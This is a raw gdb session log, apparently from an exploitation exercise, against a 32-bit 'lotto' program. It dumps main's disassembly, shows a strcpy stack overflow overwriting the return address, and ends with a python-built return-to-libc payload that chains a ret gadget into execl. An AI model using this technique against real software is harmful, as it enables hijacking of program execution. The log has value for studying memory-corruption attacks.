0x080486d9 \u0026lt;main+421\u0026gt;: mov %edx,-0x34(%ebp,%eax,4) 0x080486dd \u0026lt;main+425\u0026gt;: jmp 0x80486fc \u0026lt;main+456\u0026gt; 0x080486df \u0026lt;main+427\u0026gt;: mov -0x10(%ebp),%ebx 0x080486e2 \u0026lt;main+430\u0026gt;: mov -0x10(%ebp),%eax 0x080486e5 \u0026lt;main+433\u0026gt;: add $0x1,%eax 0x080486e8 \u0026lt;main+436\u0026gt;: shl $0x2,%eax 0x080486eb \u0026lt;main+439\u0026gt;: add 0xc(%ebp),%eax 0x080486ee \u0026lt;main+442\u0026gt;: mov (%eax),%eax 0x080486f0 \u0026lt;main+444\u0026gt;: mov %eax,(%esp) 0x080486f3 \u0026lt;main+447\u0026gt;: call 0x8048440 \u0026lt;atoi@plt\u0026gt; 0x080486f8 \u0026lt;main+452\u0026gt;: mov %eax,-0x34(%ebp,%ebx,4) 0x080486fc \u0026lt;main+456\u0026gt;: addl $0x1,-0x10(%ebp) 0x08048700 \u0026lt;main+460\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x08048704 \u0026lt;main+464\u0026gt;: jle 0x8048614 \u0026lt;main+224\u0026gt; 0x0804870a \u0026lt;main+470\u0026gt;: mov $0x804892d,%eax 0x0804870f \u0026lt;main+475\u0026gt;: mov %eax,(%esp) 0x08048712 \u0026lt;main+478\u0026gt;: call 0x8048430 \u0026lt;printf@plt\u0026gt; 0x08048717 \u0026lt;main+483\u0026gt;: movl $0x0,-0x10(%ebp) 0x0804871e \u0026lt;main+490\u0026gt;: jmp 0x804873c \u0026lt;main+520\u0026gt; 0x08048720 \u0026lt;main+492\u0026gt;: mov -0x10(%ebp),%eax 0x08048723 \u0026lt;main+495\u0026gt;: mov -0x4c(%ebp,%eax,4),%edx ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x08048727 \u0026lt;main+499\u0026gt;: mov $0x804893e,%eax 0x0804872c \u0026lt;main+504\u0026gt;: mov %edx,0x4(%esp) 0x08048730 \u0026lt;main+508\u0026gt;: mov %eax,(%esp) 0x08048733 \u0026lt;main+511\u0026gt;: call 0x8048430 \u0026lt;printf@plt\u0026gt; 0x08048738 \u0026lt;main+516\u0026gt;: addl $0x1,-0x10(%ebp) 0x0804873c \u0026lt;main+520\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x08048740 \u0026lt;main+524\u0026gt;: jle 0x8048720 \u0026lt;main+492\u0026gt; 0x08048742 \u0026lt;main+526\u0026gt;: mov $0x8048942,%eax 0x08048747 \u0026lt;main+531\u0026gt;: mov %eax,(%esp) 0x0804874a \u0026lt;main+534\u0026gt;: call 0x8048430 \u0026lt;printf@plt\u0026gt; 0x0804874f \u0026lt;main+539\u0026gt;: movl $0x0,-0x10(%ebp) 0x08048756 \u0026lt;main+546\u0026gt;: jmp 0x8048774 \u0026lt;main+576\u0026gt; 0x08048758 \u0026lt;main+548\u0026gt;: mov -0x10(%ebp),%eax 0x0804875b \u0026lt;main+551\u0026gt;: mov -0x34(%ebp,%eax,4),%edx 0x0804875f \u0026lt;main+555\u0026gt;: mov $0x804893e,%eax 0x08048764 \u0026lt;main+560\u0026gt;: mov %edx,0x4(%esp) 0x08048768 \u0026lt;main+564\u0026gt;: mov %eax,(%esp) 0x0804876b \u0026lt;main+567\u0026gt;: call 0x8048430 \u0026lt;printf@plt\u0026gt; 0x08048770 \u0026lt;main+572\u0026gt;: addl $0x1,-0x10(%ebp) 0x08048774 \u0026lt;main+576\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x08048778 \u0026lt;main+580\u0026gt;: jle 0x8048758 \u0026lt;main+548\u0026gt; 0x0804877a \u0026lt;main+582\u0026gt;: movl $0x8048954,(%esp) 0x08048781 \u0026lt;main+589\u0026gt;: call 0x8048460 \u0026lt;puts@plt\u0026gt; 0x08048786 \u0026lt;main+594\u0026gt;: movl $0x0,-0x1c(%ebp) 0x0804878d \u0026lt;main+601\u0026gt;: movl $0x0,-0x10(%ebp) 0x08048794 \u0026lt;main+608\u0026gt;: jmp 0x8048803 \u0026lt;main+719\u0026gt; 0x08048796 \u0026lt;main+610\u0026gt;: movl $0x0,-0x14(%ebp) 0x0804879d \u0026lt;main+617\u0026gt;: jmp 0x80487f6 \u0026lt;main+706\u0026gt; 0x0804879f \u0026lt;main+619\u0026gt;: mov -0x10(%ebp),%eax 0x080487a2 \u0026lt;main+622\u0026gt;: mov -0x4c(%ebp,%eax,4),%edx 0x080487a6 \u0026lt;main+626\u0026gt;: mov -0x14(%ebp),%eax 0x080487a9 \u0026lt;main+629\u0026gt;: mov -0x34(%ebp,%eax,4),%eax 0x080487ad \u0026lt;main+633\u0026gt;: cmp %eax,%edx 0x080487af \u0026lt;main+635\u0026gt;: jne 0x80487f2 \u0026lt;main+702\u0026gt; 0x080487b1 \u0026lt;main+637\u0026gt;: addl $0x1,-0x1c(%ebp) 0x080487b5 \u0026lt;main+641\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x080487b9 \u0026lt;main+645\u0026gt;: jne 0x80487f2 \u0026lt;main+702\u0026gt; 0x080487bb \u0026lt;main+647\u0026gt;: cmpl $0x6,-0x1c(%ebp) 0x080487bf \u0026lt;main+651\u0026gt;: jne 0x80487f2 \u0026lt;main+702\u0026gt; 0x080487c1 \u0026lt;main+653\u0026gt;: movl $0x8048956,(%esp) 0x080487c8 \u0026lt;main+660\u0026gt;: call 0x8048460 \u0026lt;puts@plt\u0026gt; 0x080487cd \u0026lt;main+665\u0026gt;: mov 0xc(%ebp),%eax 0x080487d0 \u0026lt;main+668\u0026gt;: add $0x1c,%eax 0x080487d3 \u0026lt;main+671\u0026gt;: mov (%eax),%eax 0x080487d5 \u0026lt;main+673\u0026gt;: test %eax,%eax 0x080487d7 \u0026lt;main+675\u0026gt;: je 0x80487fe \u0026lt;main+714\u0026gt; 0x080487d9 \u0026lt;main+677\u0026gt;: mov 0xc(%ebp),%eax 0x080487dc \u0026lt;main+680\u0026gt;: add $0x1c,%eax ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x080487df \u0026lt;main+683\u0026gt;: mov (%eax),%eax 0x080487e1 \u0026lt;main+685\u0026gt;: mov %eax,0x4(%esp) 0x080487e5 \u0026lt;main+689\u0026gt;: lea -0xa(%ebp),%eax 0x080487e8 \u0026lt;main+692\u0026gt;: mov %eax,(%esp) 0x080487eb \u0026lt;main+695\u0026gt;: call 0x8048420 \u0026lt;strcpy@plt\u0026gt; 0x080487f0 \u0026lt;main+700\u0026gt;: jmp 0x80487ff \u0026lt;main+715\u0026gt; 0x080487f2 \u0026lt;main+702\u0026gt;: addl $0x1,-0x14(%ebp) 0x080487f6 \u0026lt;main+706\u0026gt;: cmpl $0x5,-0x14(%ebp) 0x080487fa \u0026lt;main+710\u0026gt;: jle 0x804879f \u0026lt;main+619\u0026gt; 0x080487fc \u0026lt;main+712\u0026gt;: jmp 0x80487ff \u0026lt;main+715\u0026gt; 0x080487fe \u0026lt;main+714\u0026gt;: nop 0x080487ff \u0026lt;main+715\u0026gt;: addl $0x1,-0x10(%ebp) 0x08048803 \u0026lt;main+719\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x08048807 \u0026lt;main+723\u0026gt;: jle 0x8048796 \u0026lt;main+610\u0026gt; 0x08048809 \u0026lt;main+725\u0026gt;: mov $0x0,%eax 0x0804880e \u0026lt;main+730\u0026gt;: add $0x54,%esp 0x08048811 \u0026lt;main+733\u0026gt;: pop %ebx 0x08048812 \u0026lt;main+734\u0026gt;: pop %ebp 0x08048813 \u0026lt;main+735\u0026gt;: ret End of assembler dump. (gdb) b main Breakpoint 1 at 0x8048538 (gdb) b *main+700 Breakpoint 2 at 0x80487f0 (gdb) b *main+735 Breakpoint 3 at 0x8048813 (gdb) r 1 2 3 4 5 6 AABBBB CCCC Starting program: /root/lotto 1 2 3 4 5 6 AABBBB CCCC (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x08048538 in main () (gdb) jump *main+677 Continuing at 0x80487d9. Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) x/32wx $esp-8 0xbf92f18c: 0x4141f198 0x42424242 0xbf92f100 0xbf92fa2b 0xbf92f19c: 0xb7dfb450 0x00000009 0xbf92f224 0xbf92f24c 0xbf92f1ac: 0xb7f38b38 0x00000000 0x00000001 0x00000000 0xbf92f1bc: 0x080482d7 0xb7f2fff4 0xb7f54ce0 0x00000000 0xbf92f1cc: 0xbf92f1f8 0x67434086 0xfdc82a96 0x00000000 0xbf92f1dc: 0x00000000 0x00000000 0xb7f4cb80 0xb7dfb37d 0xbf92f1ec: 0xb7f54ff4 0x00000009 0x08048480 0x00000000 0xbf92f1fc: 0x080484a1 0x08048534 0x00000009 0xbf92f224 (gdb) 0xbf92f20c: 0x08048830 0x08048820 0xb7f47e20 0xbf92f21c 0xbf92f21c: 0xb7f523e5 0x00000009 0xbf92fa13 0xbf92fa1f 0xbf92f22c: 0xbf92fa21 0xbf92fa23 0xbf92fa25 0xbf92fa27 0xbf92f23c: 0xbf92fa29 0xbf92fa2b 0xbf92fa32 0x00000000 0xbf92f24c: 0xbf92fa37 0xbf92fa42 0xbf92fa52 0xbf92fa73 0xbf92f25c: 0xbf92fa86 0xbf92fa90 0xbf92feb9 0xbf92fec5 0xbf92f26c: 0xbf92fed9 0xbf92ff26 0xbf92ff35 0xbf92ff3f 0xbf92f27c: 0xbf92ff50 0xbf92ff59 0xbf92ff64 0xbf92ff6c (gdb) x/32wx 0xbf92fa32 0xbf92fa32: 0x43434343 0x52455400 0x696c3d4d 0x0078756e 0xbf92fa42: 0x4c454853 0x622f3d4c 0x622f6e69 0x00687361 0xbf92fa52: 0x5f485353 0x45494c43 0x313d544e 0x312e3239 0xbf92fa62: 0x312e3836 0x312e3930 0x35323120 0x32322031 0xbf92fa72: 0x48535300 0x5954545f 0x65642f3d 0x74702f76 0xbf92fa82: 0x00312f73 0x52455355 0x6f6f723d 0x534c0074 0xbf92fa92: 0x4c4f435f 0x3d53524f 0x303d6f6e 0x69663a30 0xbf92faa2: 0x3a30303d 0x303d6964 0x34333b31 0x3d6e6c3a (gdb) x/s 0xbf92fa32 0xbf92fa32: \u0026#34;CCCC\u0026#34; (gdb) x/x execl 0xb7e7b420 \u0026lt;execl\u0026gt;: 0x53565755 (gdb) disassemble main Dump of assembler code for function main: 0x08048534 \u0026lt;main+0\u0026gt;: push %ebp 0x08048535 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x08048537 \u0026lt;main+3\u0026gt;: push %ebx 0x08048538 \u0026lt;main+4\u0026gt;: sub $0x54,%esp 0x0804853b \u0026lt;main+7\u0026gt;: movw $0x0,-0x6(%ebp) 0x08048541 \u0026lt;main+13\u0026gt;: movl $0x0,-0x1c(%ebp) 0x08048548 \u0026lt;main+20\u0026gt;: movl $0x0,(%esp) 0x0804854f \u0026lt;main+27\u0026gt;: call 0x8048450 \u0026lt;time@plt\u0026gt; 0x08048554 \u0026lt;main+32\u0026gt;: mov %eax,(%esp) 0x08048557 \u0026lt;main+35\u0026gt;: call 0x80483d0 \u0026lt;srand@plt\u0026gt; 0x0804855c \u0026lt;main+40\u0026gt;: movl $0x0,-0x10(%ebp) 0x08048563 \u0026lt;main+47\u0026gt;: jmp 0x80485d9 \u0026lt;main+165\u0026gt; 0x08048565 \u0026lt;main+49\u0026gt;: call 0x8048470 \u0026lt;rand@plt\u0026gt; 0x0804856a \u0026lt;main+54\u0026gt;: mov %eax,%ecx 0x0804856c \u0026lt;main+56\u0026gt;: mov $0xb60b60b7,%edx 0x08048571 \u0026lt;main+61\u0026gt;: mov %ecx,%eax 0x08048573 \u0026lt;main+63\u0026gt;: imul %edx 0x08048575 \u0026lt;main+65\u0026gt;: lea (%edx,%ecx,1),%eax 0x08048578 \u0026lt;main+68\u0026gt;: mov %eax,%edx 0x0804857a \u0026lt;main+70\u0026gt;: sar $0x5,%edx 0x0804857d \u0026lt;main+73\u0026gt;: mov %ecx,%eax 0x0804857f \u0026lt;main+75\u0026gt;: sar $0x1f,%eax 0x08048582 \u0026lt;main+78\u0026gt;: mov %edx,%ebx 0x08048584 \u0026lt;main+80\u0026gt;: sub %eax,%ebx 0x08048586 \u0026lt;main+82\u0026gt;: mov %ebx,%eax 0x08048588 \u0026lt;main+84\u0026gt;: imul $0x2d,%eax,%eax 0x0804858b \u0026lt;main+87\u0026gt;: mov %ecx,%edx 0x0804858d \u0026lt;main+89\u0026gt;: sub %eax,%edx 0x0804858f \u0026lt;main+91\u0026gt;: mov %edx,%eax 0x08048591 \u0026lt;main+93\u0026gt;: add $0x1,%eax 0x08048594 \u0026lt;main+96\u0026gt;: mov %eax,-0x18(%ebp) 0x08048597 \u0026lt;main+99\u0026gt;: movl $0x0,-0x14(%ebp) 0x0804859e \u0026lt;main+106\u0026gt;: jmp 0x80485bd \u0026lt;main+137\u0026gt; 0x080485a0 \u0026lt;main+108\u0026gt;: mov -0x14(%ebp),%eax 0x080485a3 \u0026lt;main+111\u0026gt;: mov -0x4c(%ebp,%eax,4),%eax 0x080485a7 \u0026lt;main+115\u0026gt;: cmp -0x18(%ebp),%eax 0x080485aa \u0026lt;main+118\u0026gt;: jne 0x80485b9 \u0026lt;main+133\u0026gt; 0x080485ac \u0026lt;main+120\u0026gt;: subl $0x1,-0x10(%ebp) 0x080485b0 \u0026lt;main+124\u0026gt;: movl $0x0,-0x18(%ebp) 0x080485b7 \u0026lt;main+131\u0026gt;: jmp 0x80485c5 \u0026lt;main+145\u0026gt; 0x080485b9 \u0026lt;main+133\u0026gt;: addl $0x1,-0x14(%ebp) 0x080485bd \u0026lt;main+137\u0026gt;: mov -0x14(%ebp),%eax 0x080485c0 \u0026lt;main+140\u0026gt;: cmp -0x10(%ebp),%eax 0x080485c3 \u0026lt;main+143\u0026gt;: jl 0x80485a0 \u0026lt;main+108\u0026gt; 0x080485c5 \u0026lt;main+145\u0026gt;: cmpl $0x0,-0x18(%ebp) 0x080485c9 \u0026lt;main+149\u0026gt;: je 0x80485d5 \u0026lt;main+161\u0026gt; 0x080485cb \u0026lt;main+151\u0026gt;: mov -0x10(%ebp),%eax ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x080485ce \u0026lt;main+154\u0026gt;: mov -0x18(%ebp),%edx 0x080485d1 \u0026lt;main+157\u0026gt;: mov %edx,-0x4c(%ebp,%eax,4) 0x080485d5 \u0026lt;main+161\u0026gt;: addl $0x1,-0x10(%ebp) 0x080485d9 \u0026lt;main+165\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x080485dd \u0026lt;main+169\u0026gt;: jle 0x8048565 \u0026lt;main+49\u0026gt; 0x080485df \u0026lt;main+171\u0026gt;: mov $0x80488e4,%eax 0x080485e4 \u0026lt;main+176\u0026gt;: mov %eax,(%esp) 0x080485e7 \u0026lt;main+179\u0026gt;: call 0x8048430 \u0026lt;printf@plt\u0026gt; 0x080485ec \u0026lt;main+184\u0026gt;: cmpl $0x6,0x8(%ebp) 0x080485f0 \u0026lt;main+188\u0026gt;: jg 0x8048608 \u0026lt;main+212\u0026gt; 0x080485f2 \u0026lt;main+190\u0026gt;: movl $0x8048913,(%esp) 0x080485f9 \u0026lt;main+197\u0026gt;: call 0x8048460 \u0026lt;puts@plt\u0026gt; 0x080485fe \u0026lt;main+202\u0026gt;: mov $0x0,%eax 0x08048603 \u0026lt;main+207\u0026gt;: jmp 0x804880e \u0026lt;main+730\u0026gt; 0x08048608 \u0026lt;main+212\u0026gt;: movl $0x0,-0x10(%ebp) 0x0804860f \u0026lt;main+219\u0026gt;: jmp 0x8048700 \u0026lt;main+460\u0026gt; 0x08048614 \u0026lt;main+224\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x08048618 \u0026lt;main+228\u0026gt;: jne 0x80486df \u0026lt;main+427\u0026gt; 0x0804861e \u0026lt;main+234\u0026gt;: mov -0x10(%ebp),%eax 0x08048621 \u0026lt;main+237\u0026gt;: add $0x1,%eax 0x08048624 \u0026lt;main+240\u0026gt;: shl $0x2,%eax 0x08048627 \u0026lt;main+243\u0026gt;: add 0xc(%ebp),%eax 0x0804862a \u0026lt;main+246\u0026gt;: mov (%eax),%eax 0x0804862c \u0026lt;main+248\u0026gt;: mov %eax,(%esp) 0x0804862f \u0026lt;main+251\u0026gt;: call 0x8048410 \u0026lt;strlen@plt\u0026gt; 0x08048634 \u0026lt;main+256\u0026gt;: cmp $0x1,%eax 0x08048637 \u0026lt;main+259\u0026gt;: jne 0x804866d \u0026lt;main+313\u0026gt; 0x08048639 \u0026lt;main+261\u0026gt;: mov -0x10(%ebp),%eax 0x0804863c \u0026lt;main+264\u0026gt;: add $0x1,%eax 0x0804863f \u0026lt;main+267\u0026gt;: shl $0x2,%eax 0x08048642 \u0026lt;main+270\u0026gt;: add 0xc(%ebp),%eax 0x08048645 \u0026lt;main+273\u0026gt;: mov (%eax),%eax 0x08048647 \u0026lt;main+275\u0026gt;: movl $0x1,0x8(%esp) 0x0804864f \u0026lt;main+283\u0026gt;: mov %eax,0x4(%esp) 0x08048653 \u0026lt;main+287\u0026gt;: lea -0x6(%ebp),%eax 0x08048656 \u0026lt;main+290\u0026gt;: mov %eax,(%esp) 0x08048659 \u0026lt;main+293\u0026gt;: call 0x80483f0 \u0026lt;strncpy@plt\u0026gt; 0x0804865e \u0026lt;main+298\u0026gt;: movzbl -0x6(%ebp),%eax 0x08048662 \u0026lt;main+302\u0026gt;: movsbl %al,%eax 0x08048665 \u0026lt;main+305\u0026gt;: sub $0x30,%eax 0x08048668 \u0026lt;main+308\u0026gt;: mov %eax,-0x18(%ebp) 0x0804866b \u0026lt;main+311\u0026gt;: jmp 0x80486d3 \u0026lt;main+415\u0026gt; 0x0804866d \u0026lt;main+313\u0026gt;: mov -0x10(%ebp),%eax 0x08048670 \u0026lt;main+316\u0026gt;: add $0x1,%eax 0x08048673 \u0026lt;main+319\u0026gt;: shl $0x2,%eax 0x08048676 \u0026lt;main+322\u0026gt;: add 0xc(%ebp),%eax 0x08048679 \u0026lt;main+325\u0026gt;: mov (%eax),%eax 0x0804867b \u0026lt;main+327\u0026gt;: mov %eax,(%esp) ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x0804867e \u0026lt;main+330\u0026gt;: call 0x8048410 \u0026lt;strlen@plt\u0026gt; 0x08048683 \u0026lt;main+335\u0026gt;: cmp $0x1,%eax 0x08048686 \u0026lt;main+338\u0026gt;: jbe 0x80486d3 \u0026lt;main+415\u0026gt; 0x08048688 \u0026lt;main+340\u0026gt;: mov -0x10(%ebp),%eax 0x0804868b \u0026lt;main+343\u0026gt;: add $0x1,%eax 0x0804868e \u0026lt;main+346\u0026gt;: shl $0x2,%eax 0x08048691 \u0026lt;main+349\u0026gt;: add 0xc(%ebp),%eax 0x08048694 \u0026lt;main+352\u0026gt;: mov (%eax),%eax 0x08048696 \u0026lt;main+354\u0026gt;: movl $0x2,0x8(%esp) 0x0804869e \u0026lt;main+362\u0026gt;: mov %eax,0x4(%esp) 0x080486a2 \u0026lt;main+366\u0026gt;: lea -0x6(%ebp),%eax 0x080486a5 \u0026lt;main+369\u0026gt;: mov %eax,(%esp) 0x080486a8 \u0026lt;main+372\u0026gt;: call 0x80483f0 \u0026lt;strncpy@plt\u0026gt; 0x080486ad \u0026lt;main+377\u0026gt;: movzbl -0x6(%ebp),%eax 0x080486b1 \u0026lt;main+381\u0026gt;: movsbl %al,%edx 0x080486b4 \u0026lt;main+384\u0026gt;: mov %edx,%eax 0x080486b6 \u0026lt;main+386\u0026gt;: shl $0x2,%eax 0x080486b9 \u0026lt;main+389\u0026gt;: add %edx,%eax 0x080486bb \u0026lt;main+391\u0026gt;: add %eax,%eax 0x080486bd \u0026lt;main+393\u0026gt;: lea -0x1e0(%eax),%edx 0x080486c3 \u0026lt;main+399\u0026gt;: movzbl -0x5(%ebp),%eax 0x080486c7 \u0026lt;main+403\u0026gt;: movsbl %al,%eax 0x080486ca \u0026lt;main+406\u0026gt;: lea (%edx,%eax,1),%eax 0x080486cd \u0026lt;main+409\u0026gt;: sub $0x30,%eax 0x080486d0 \u0026lt;main+412\u0026gt;: mov %eax,-0x18(%ebp) 0x080486d3 \u0026lt;main+415\u0026gt;: mov -0x10(%ebp),%eax 0x080486d6 \u0026lt;main+418\u0026gt;: mov -0x18(%ebp),%edx 0x080486d9 \u0026lt;main+421\u0026gt;: mov %edx,-0x34(%ebp,%eax,4) 0x080486dd \u0026lt;main+425\u0026gt;: jmp 0x80486fc \u0026lt;main+456\u0026gt; 0x080486df \u0026lt;main+427\u0026gt;: mov -0x10(%ebp),%ebx 0x080486e2 \u0026lt;main+430\u0026gt;: mov -0x10(%ebp),%eax 0x080486e5 \u0026lt;main+433\u0026gt;: add $0x1,%eax 0x080486e8 \u0026lt;main+436\u0026gt;: shl $0x2,%eax 0x080486eb \u0026lt;main+439\u0026gt;: add 0xc(%ebp),%eax 0x080486ee \u0026lt;main+442\u0026gt;: mov (%eax),%eax 0x080486f0 \u0026lt;main+444\u0026gt;: mov %eax,(%esp) 0x080486f3 \u0026lt;main+447\u0026gt;: call 0x8048440 \u0026lt;atoi@plt\u0026gt; 0x080486f8 \u0026lt;main+452\u0026gt;: mov %eax,-0x34(%ebp,%ebx,4) 0x080486fc \u0026lt;main+456\u0026gt;: addl $0x1,-0x10(%ebp) 0x08048700 \u0026lt;main+460\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x08048704 \u0026lt;main+464\u0026gt;: jle 0x8048614 \u0026lt;main+224\u0026gt; 0x0804870a \u0026lt;main+470\u0026gt;: mov $0x804892d,%eax 0x0804870f \u0026lt;main+475\u0026gt;: mov %eax,(%esp) 0x08048712 \u0026lt;main+478\u0026gt;: call 0x8048430 \u0026lt;printf@plt\u0026gt; 0x08048717 \u0026lt;main+483\u0026gt;: movl $0x0,-0x10(%ebp) 0x0804871e \u0026lt;main+490\u0026gt;: jmp 0x804873c \u0026lt;main+520\u0026gt; 0x08048720 \u0026lt;main+492\u0026gt;: mov -0x10(%ebp),%eax 0x08048723 \u0026lt;main+495\u0026gt;: mov -0x4c(%ebp,%eax,4),%edx ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x08048727 \u0026lt;main+499\u0026gt;: mov $0x804893e,%eax 0x0804872c \u0026lt;main+504\u0026gt;: mov %edx,0x4(%esp) 0x08048730 \u0026lt;main+508\u0026gt;: mov %eax,(%esp) 0x08048733 \u0026lt;main+511\u0026gt;: call 0x8048430 \u0026lt;printf@plt\u0026gt; 0x08048738 \u0026lt;main+516\u0026gt;: addl $0x1,-0x10(%ebp) 0x0804873c \u0026lt;main+520\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x08048740 \u0026lt;main+524\u0026gt;: jle 0x8048720 \u0026lt;main+492\u0026gt; 0x08048742 \u0026lt;main+526\u0026gt;: mov $0x8048942,%eax 0x08048747 \u0026lt;main+531\u0026gt;: mov %eax,(%esp) 0x0804874a \u0026lt;main+534\u0026gt;: call 0x8048430 \u0026lt;printf@plt\u0026gt; 0x0804874f \u0026lt;main+539\u0026gt;: movl $0x0,-0x10(%ebp) 0x08048756 \u0026lt;main+546\u0026gt;: jmp 0x8048774 \u0026lt;main+576\u0026gt; 0x08048758 \u0026lt;main+548\u0026gt;: mov -0x10(%ebp),%eax 0x0804875b \u0026lt;main+551\u0026gt;: mov -0x34(%ebp,%eax,4),%edx 0x0804875f \u0026lt;main+555\u0026gt;: mov $0x804893e,%eax 0x08048764 \u0026lt;main+560\u0026gt;: mov %edx,0x4(%esp) 0x08048768 \u0026lt;main+564\u0026gt;: mov %eax,(%esp) 0x0804876b \u0026lt;main+567\u0026gt;: call 0x8048430 \u0026lt;printf@plt\u0026gt; 0x08048770 \u0026lt;main+572\u0026gt;: addl $0x1,-0x10(%ebp) 0x08048774 \u0026lt;main+576\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x08048778 \u0026lt;main+580\u0026gt;: jle 0x8048758 \u0026lt;main+548\u0026gt; 0x0804877a \u0026lt;main+582\u0026gt;: movl $0x8048954,(%esp) 0x08048781 \u0026lt;main+589\u0026gt;: call 0x8048460 \u0026lt;puts@plt\u0026gt; 0x08048786 \u0026lt;main+594\u0026gt;: movl $0x0,-0x1c(%ebp) 0x0804878d \u0026lt;main+601\u0026gt;: movl $0x0,-0x10(%ebp) 0x08048794 \u0026lt;main+608\u0026gt;: jmp 0x8048803 \u0026lt;main+719\u0026gt; 0x08048796 \u0026lt;main+610\u0026gt;: movl $0x0,-0x14(%ebp) 0x0804879d \u0026lt;main+617\u0026gt;: jmp 0x80487f6 \u0026lt;main+706\u0026gt; 0x0804879f \u0026lt;main+619\u0026gt;: mov -0x10(%ebp),%eax 0x080487a2 \u0026lt;main+622\u0026gt;: mov -0x4c(%ebp,%eax,4),%edx 0x080487a6 \u0026lt;main+626\u0026gt;: mov -0x14(%ebp),%eax 0x080487a9 \u0026lt;main+629\u0026gt;: mov -0x34(%ebp,%eax,4),%eax 0x080487ad \u0026lt;main+633\u0026gt;: cmp %eax,%edx 0x080487af \u0026lt;main+635\u0026gt;: jne 0x80487f2 \u0026lt;main+702\u0026gt; 0x080487b1 \u0026lt;main+637\u0026gt;: addl $0x1,-0x1c(%ebp) 0x080487b5 \u0026lt;main+641\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x080487b9 \u0026lt;main+645\u0026gt;: jne 0x80487f2 \u0026lt;main+702\u0026gt; 0x080487bb \u0026lt;main+647\u0026gt;: cmpl $0x6,-0x1c(%ebp) 0x080487bf \u0026lt;main+651\u0026gt;: jne 0x80487f2 \u0026lt;main+702\u0026gt; 0x080487c1 \u0026lt;main+653\u0026gt;: movl $0x8048956,(%esp) 0x080487c8 \u0026lt;main+660\u0026gt;: call 0x8048460 \u0026lt;puts@plt\u0026gt; 0x080487cd \u0026lt;main+665\u0026gt;: mov 0xc(%ebp),%eax 0x080487d0 \u0026lt;main+668\u0026gt;: add $0x1c,%eax 0x080487d3 \u0026lt;main+671\u0026gt;: mov (%eax),%eax 0x080487d5 \u0026lt;main+673\u0026gt;: test %eax,%eax 0x080487d7 \u0026lt;main+675\u0026gt;: je 0x80487fe \u0026lt;main+714\u0026gt; 0x080487d9 \u0026lt;main+677\u0026gt;: mov 0xc(%ebp),%eax 0x080487dc \u0026lt;main+680\u0026gt;: add $0x1c,%eax ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x080487df \u0026lt;main+683\u0026gt;: mov (%eax),%eax 0x080487e1 \u0026lt;main+685\u0026gt;: mov %eax,0x4(%esp) 0x080487e5 \u0026lt;main+689\u0026gt;: lea -0xa(%ebp),%eax 0x080487e8 \u0026lt;main+692\u0026gt;: mov %eax,(%esp) 0x080487eb \u0026lt;main+695\u0026gt;: call 0x8048420 \u0026lt;strcpy@plt\u0026gt; 0x080487f0 \u0026lt;main+700\u0026gt;: jmp 0x80487ff \u0026lt;main+715\u0026gt; 0x080487f2 \u0026lt;main+702\u0026gt;: addl $0x1,-0x14(%ebp) 0x080487f6 \u0026lt;main+706\u0026gt;: cmpl $0x5,-0x14(%ebp) 0x080487fa \u0026lt;main+710\u0026gt;: jle 0x804879f \u0026lt;main+619\u0026gt; 0x080487fc \u0026lt;main+712\u0026gt;: jmp 0x80487ff \u0026lt;main+715\u0026gt; 0x080487fe \u0026lt;main+714\u0026gt;: nop 0x080487ff \u0026lt;main+715\u0026gt;: addl $0x1,-0x10(%ebp) 0x08048803 \u0026lt;main+719\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x08048807 \u0026lt;main+723\u0026gt;: jle 0x8048796 \u0026lt;main+610\u0026gt; 0x08048809 \u0026lt;main+725\u0026gt;: mov $0x0,%eax 0x0804880e \u0026lt;main+730\u0026gt;: add $0x54,%esp 0x08048811 \u0026lt;main+733\u0026gt;: pop %ebx 0x08048812 \u0026lt;main+734\u0026gt;: pop %ebp 0x08048813 \u0026lt;main+735\u0026gt;: ret End of assembler dump. (gdb) r 1 2 3 4 5 6 \u0026#34;`python -c \u0026#34;print \u0026#39;AA\u0026#39; + \u0026#39;\\x13\\x88\\x04\\x08\u0026#39;*43 + \u0026#39;\\x20\\xb4\\xe7\\xb7\u0026#39;\u0026#34;`\u0026#34; CCCC The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/lotto 1 2 3 4 5 6 \u0026#34;`python -c \u0026#34;print \u0026#39;AA\u0026#39; + \u0026#39;\\x13\\x88\\x04\\x08\u0026#39;*43 + \u0026#39;\\x20\\xb4\\xe7\\xb7\u0026#39;\u0026#34;`\u0026#34; CCCC (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x08048538 in main () (gdb) jump *main+677 Continuing at 0x80487d9. Breakpoint 3, 0x08048813 in main () (gdb) x/32wx $esp 0xbfa3e9f4: 0x08048813 0x08048813 0x08048813 0x08048813 0xbfa3ea04: 0x08048813 0x08048813 0x08048813 0x08048813 0xbfa3ea14: 0x08048813 0x08048813 0x08048813 0x08048813 0xbfa3ea24: 0x08048813 0x08048813 0x08048813 0x08048813 0xbfa3ea34: 0x08048813 0x08048813 0x08048813 0x08048813 0xbfa3ea44: 0x08048813 0x08048813 0x08048813 0x08048813 0xbfa3ea54: 0x08048813 0x08048813 0x08048813 0x08048813 0xbfa3ea64: 0x08048813 0x08048813 0x08048813 0x08048813 (gdb) 0xbfa3ea74: 0x08048813 0x08048813 0x08048813 0x08048813 0xbfa3ea84: 0x08048813 0x08048813 0x08048813 0x08048813 